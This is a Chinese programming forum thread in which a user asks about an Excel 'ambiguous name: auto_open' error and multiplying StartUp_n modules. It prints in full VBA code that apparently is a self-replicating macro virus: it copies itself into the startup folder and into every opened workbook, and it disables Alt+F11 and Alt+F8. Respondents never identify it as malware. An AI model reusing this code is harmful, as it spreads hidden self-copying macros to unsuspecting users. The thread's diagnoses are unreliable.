help：VBA+EXECL “发现二义性的名称：auto_open” 是怎么回事？？？在线等待。。。

每次打开execl时都会出现
              “发现二义性的名称：auto_open”
的提示。
而且，会出现好几个StartUp_2、StartUp_3、StartUp_4、StartUp_5的模块。每打开一次，就会多一个StartUp_n。
这是为什么呢？？？
在线等待大侠们。。

解决方案 »

  1.   

    ctrl + f 查找有几个 auto_openStartUp_2、StartUp_3、StartUp_4、StartUp_5的模块
    ？什么东东
      

  2.   

    AutoOpen用于打开文件时自动运行宏，查看你的auto_open作用。
    如果它用于自动运行宏，你就改成AutoOpen；如果不是把它改名为别的，再试。
      

  3.   

    我新建了一个execl，将原来的execl中的东东和按钮都拷贝到新的execl中。就没有出现刚刚那个问题。
    这是怎么回事呢？？？？？？？？？？？？？？？
      

  4.   

    在原来的文件中分别查看thisworkbook和模块下是否有与你的sheet下同名过程。
      

  5.   


    我看了。原来的文件中，VBAProject(文件名)中的ThisWorkBook是空的。里面什么都没有啊。我还发现一个现象。我每保存一次，就会多一个StartUp_n.不知道为什么。
    每个StartUp_n里面都是这些内容：
    Sub auto_open()
    On Error Resume Next
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
    End If
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnKey "%{F8}", "StartUp.xls!escape"
    End Sub
    Sub cop()
    On Error Resume Next
    If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
    End If
    End Sub
    Sub back()
    On Error Resume Next
    Application.OnKey "%{F8}", "StartUp.xls!escape"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
    Workbooks.Open Application.StartupPath & "\StartUp.xls"
    End Sub还有，我抓的图怎么粘贴不到这里面呢，很想抓个图给你们看。
      

  6.   

    c:\RTX截图未命名.png
      

  7.   

    每次打开execl就会跳出如下提示框：
    http://hi.csdn.net/attachment/201007/6/2811209_1278418985QQnI.png每次查看VBA，就会看到多了一个StartUp_n，如图：
    http://hi.csdn.net/attachment/201007/6/2811209_1278419005Yfy3.png
    等待HELP中。
      

  8.   

    每次打开execl就会跳出如下提示框：
    每次查看VBA，就会看到多了一个StartUp_n，如图：
    等待HELP中。
      

  9.   

    不应该用 saveas 应该用save
      

  10.   

    我猜你每个StartUp_n里都有auto_openStartUp_n问题解决了，auto_open问题应该也会解决
      

  11.   

    对啊。start_n怎么解决呢？？？？？？？？
    等待中。
      

  12.   


    猜可能saveas导致的，改成 save
      

  13.   

    改成save就编译错误。
      

  14.   

    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")Workbooks("StartUp.xls").Save
    **********************************怎么两个？
      

  15.   

    具体怎么回事我也不清楚。不过应该不是这里的错误。
    因为我将原execl中所有东东，都拷贝到新建的execl中。新建的execl不会出现“二义性：auto_open”的错误。而且，新的execl中的StartUp中的代码和原来的相同。
      

  16.   

    新拷贝的StartUp_n只是一个吧，如果是这样的，当然不会出现“二义性：auto_open”的错误但经过你操作saveas后，就变成多个StartUp_n，就会出现“二义性：auto_open”的错误
      

  17.   

    好像不是这样的。新拷贝的文件一个StartUp。而且保存多次也不会出现StartUp_n。也不会出现如下错误：[size=16px]我感觉是execl或VBA哪里设置错了。至今未找到根本原因。[/size]
      

  18.   

    你新拷贝的文件名称不同（或路径不同），不会是Application.StartupPath & "\" & "StartUp.xls"，当然不会出这个错误，反而原来的文件下又多了
      

  19.   

    dinggggggggggggggggggggggggggggggggggggggggggggggg
      

  20.   

    什么意思大哥？我不能发email。的。公司机密。